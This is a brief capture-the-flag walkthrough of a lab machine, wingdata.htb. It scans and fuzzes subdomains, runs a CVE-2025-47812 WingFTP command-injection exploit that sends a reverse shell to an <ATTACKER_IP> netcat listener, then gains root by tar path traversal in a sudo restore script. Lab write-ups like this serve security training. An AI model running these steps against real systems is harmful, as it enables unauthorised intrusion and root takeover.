1. Enumeration
Started with a service scan.
nmap -sC -sV wingdata.htb -Pn
Port 80 referenced a domain in its response, indicating virtual hosting. Added wingdata.htb to /etc/hosts and fuzzed for subdomains.
2. VHost Discovery
ffuf -u http://wingdata.htb \ -H 'Host: FUZZ.wingdata.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
Added ftp.wingdata.htb to /etc/hosts. Browsing to it confirmed WingFTP Server.
3. WingFTP RCE (CVE-2025-47812)
CVE-2025-47812 is a command injection vulnerability in WingFTP Server. The exploit delivers a reverse shell through an unsanitised parameter in the web interface.
nc -lvnp 4444
python3 exploit_CVE-2025-47812.py \ --target http://ftp.wingdata.htb \ --lhost <ATTACKER_IP> \ --lport 4444
4. PrivEsc: Tar Path Traversal via sudo restore script
Checked sudo permissions.
sudo -l # (root) NOPASSWD: /usr/bin/python3 /opt/restore.py
/opt/restore.py accepts a tar archive and extracts it as root. tar doesn't sanitise paths by default — a crafted archive with a ../ path in the filename writes files outside the intended extraction directory. Used this to overwrite a privileged file as root.
python3 craft_tar.py
sudo /usr/bin/python3 /opt/restore.py -b backup_888.tar
5. Flags
redactedredacted